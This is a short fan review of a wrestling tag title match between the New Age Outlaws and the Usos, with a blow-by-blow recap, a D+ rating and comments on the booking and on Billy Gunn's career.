Tag Titles: New Age Outlaws vs. Usos

The Usos are challenging. Jimmy shoves Billy around to start and some armdrags and hiptosses send Gunn outside. The Usos load up their double dive but the Outlaws move before the jump. Back in for Dogg vs. Jey with the champion’s headbutt hurting him instead of Jey. A hiptoss sends Jey into the corner and he looked to injure his knee or leg. The shaky kneedrop gets two and it’s back to Gunn for a two count.

The CM Punk chants start up as Dogg shrugs off some right hands and knees Jey down again. We hit the chinlock for a bit until Jey fights up and superkicks Jey back down. Hot tag brings in Jimmy to speed things up leaving Jimmy vs. Gunn in the ring. Road Dogg pulls his partner away from the running Umaga attack but Jimmy dives onto Roadie. Back in and a superkick gets two on Gunn but Jimmy has to go after Road Dogg, allowing Billy to grab a rollup for the pin at 8:34.

Rating: D+. This is more about frustrating booking than a bad match but the wrestling was nothing great either. I’m not sure if the Outlaws are holding the belts because they’re friends of HHH or because this company thinks there’s more to nostalgia than anyone else, but I don’t get the appeal of the Outlaws getting clean pins on top tag teams.

Billy Gunn is a guy that had the look and the athleticism, but he never made it work as a singles guy. At the end of the day, the guy just didn’t work out without Road Dogg there to compliment him. There’s nothing wrong with being a tag team wrestler though and Billy was part of three very good teams. That’s quite the accomplishment and something most people can’t claim.

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